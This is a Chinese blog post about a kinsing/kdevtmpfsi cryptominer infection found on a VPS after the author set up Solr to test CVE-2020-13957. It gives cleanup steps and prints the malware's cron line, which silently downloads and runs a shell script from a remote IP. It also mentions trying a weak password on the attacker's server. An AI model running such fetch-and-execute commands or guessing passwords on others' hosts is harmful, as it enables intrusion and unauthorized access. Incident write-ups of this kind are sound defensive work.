1、话说在我10.16号搭建solr复现CVE-2020-13957的时候,为了图省事直接在我的vps本地搭建了一下。
2、今天登陆vps发现,卧槽怎么100%占用,top一下。
好家伙,这是个啥。
3、我一搜发现是个挖矿病毒。赶紧搜一下怎么解决。
删除守护进程
ps -aux | grep kinsing
删除原进程
ps -aux | grep kdevtmpfsi
删除掉相关文件
cd /tmp
rm -rf kdevtmpfsi
rm -rf /var/tmp/kinsing
最后自己可以再检查一下是否还有kdevtmpfsi的相关文件,有的话就继续删除
find / -name kdevtmpfsi
find / -name kinsing
4、我看了一下计划任务,果然。赶紧加个#注释掉。
5、好小子,让我看看这是哪的IP。
让我康康开了什么端口
只有22端口可以弱口令一下,123456
6、话说他是在80端口下载的s.sh文件,为啥没开80呢,难道是定时开启关闭?
7、此时我想找一下s.sh文件写了什么内容。发现并不能找到。这里就有几个知识点。
wget -q -O - http://195.3.146.118/s.sh | sh > /dev/null 2>&1
-q --quiet 安静模式(无信息输出)
-O --output-document=FILE 将文档写入FILE
> /dev/null
/dev/null代表linux的空设备文件,所有往这个文件里面写入的内容都会丢失,俗称“黑洞”。那么执行了>/dev/null之后,标准输出就会不再存在,没有任何地方能够找到输出的内容。
2>&1
这条命令用到了重定向绑定,采用&可以将两个输出绑定在一起。这条命令的作用是错误输出将和标准输出同用一个文件描述符,通俗说就是错误输出将会和标准输出输出到同一个地方。
linux在执行shell命令之前,就会确定好所有的输入输出位置,并且从左到右依次执行重定向的命令,所以>/dev/null 2>&1的作用就是让标准输出重定向到/dev/null中(丢弃标准输出),然后错误输出由于重用了标准输出的描述符,所以错误输出也被定向到了/dev/null中,错误输出同样也被丢弃了。执行了这条命令之后,该条shell命令将不会输出任何信息到控制台,也不会有任何信息输出到文件中。
8、简单测试一下。
攻击服务器下放1.sh文件。运行此文件会先输出ok,然后访问攻击机的1888端口。
靶机执行
wget -q -O - http://ip:port/1.sh | sh > /dev/null 2>&1
收到请求,sh文件中的命令实际上已经执行。但是没有输出ok,也没有1.sh文件,